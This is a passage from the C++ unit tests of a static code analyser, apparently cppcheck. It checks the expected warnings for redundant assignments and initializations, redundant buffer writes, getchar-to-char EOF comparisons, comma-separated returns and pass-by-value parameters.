\"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. 